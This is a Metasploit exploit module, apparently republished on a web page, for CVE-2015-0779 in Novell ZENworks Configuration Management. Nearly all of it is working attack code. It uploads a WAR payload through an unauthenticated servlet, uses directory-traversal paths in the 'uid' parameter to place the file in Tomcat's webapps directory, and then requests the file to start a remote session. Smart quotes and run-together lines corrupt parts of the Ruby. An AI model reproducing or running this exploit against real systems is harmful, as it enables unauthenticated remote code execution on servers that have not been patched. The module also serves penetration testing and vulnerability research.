Novell ZENworks Configuration Management Arbitrary File Upload Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => ‘Novell ZENworks Configuration Management Arbitrary File Upload’,
‘Description’ => %q{
This module exploits a file upload vulnerability in Novell ZENworks Configuration
Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in
the UploadServlet which accepts unauthenticated file uploads and does not check the
“uid” parameter for directory traversal characters. This allows an attacker to write
anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat
webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack.
This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note
that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a
Metasploit exploit, but it abuses a different parameter of the same servlet.
},
‘Author’ =>
[
‘Pedro Ribeiro ‘, # Vulnerability Discovery and Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘CVE’, ‘2015-0779’],
[‘OSVDB’, ‘120382’],
[‘URL’, ‘https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt’],
[‘URL’, ‘http://seclists.org/fulldisclosure/2015/Apr/21’]
],
‘DefaultOptions’ => { ‘WfsDelay’ => 30 },
‘Privileged’ => true,
‘Platform’ => ‘java’,
‘Arch’ => ARCH_JAVA,
‘Targets’ =>
[
[ ‘Novell ZCM < v11.3.2 - Universal Java', { } ] ], 'DefaultTarget' => 0,
‘DisclosureDate’ => ‘Apr 7 2015’))

register_options(
[
Opt::RPORT(443),
OptBool.new(‘SSL’,
[true, ‘Use SSL’, true]),
OptString.new(‘TARGETURI’,
[true, ‘The base path to ZCM / ZENworks Suite’, ‘/zenworks/’]),
OptString.new(‘TOMCAT_PATH’,
[false, ‘The Tomcat webapps traversal path (from the temp directory)’])
], self.class)
end

def check
res = send_request_cgi({
‘uri’ => normalize_uri(datastore[‘TARGETURI’], ‘UploadServlet’),
‘method’ => ‘GET’
})

if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def upload_war_and_exec(tomcat_path)
app_base = rand_text_alphanumeric(4 + rand(32 – 4))
war_payload = payload.encoded_war({ :app_name => app_base }).to_s

print_status(“#{peer} – Uploading WAR file to #{tomcat_path}”)
res = send_request_cgi({
‘uri’ => normalize_uri(datastore[‘TARGETURI’], ‘UploadServlet’),
‘method’ => ‘POST’,
‘data’ => war_payload,
‘ctype’ => ‘application/octet-stream’,
‘vars_get’ => {
‘uid’ => tomcat_path,
‘filename’ => “#{app_base}.war”
}
})
if res && res.code == 200
print_status(“#{peer} – Upload appears to have been successful”)
else
print_error(“#{peer} – Failed to upload, try again with a different path?”)
return false
end

10.times do
Rex.sleep(2)

# Now make a request to trigger the newly deployed war
print_status(“#{peer} – Attempting to launch payload in deployed WAR…”)
send_request_cgi({
‘uri’ => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
‘method’ => ‘GET’
})

# Failure. The request timed out or the server went away.
break if res.nil?
# Failure. Unexpected answer
break if res.code != 200
# Unless session… keep looping
return true if session_created?
end

false
end

def exploit
tomcat_paths = []
if datastore[‘TOMCAT_PATH’]
tomcat_paths << datastore['TOMCAT_PATH'] end tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) tomcat_paths.each do |tomcat_path| break if upload_war_and_exec(tomcat_path) end end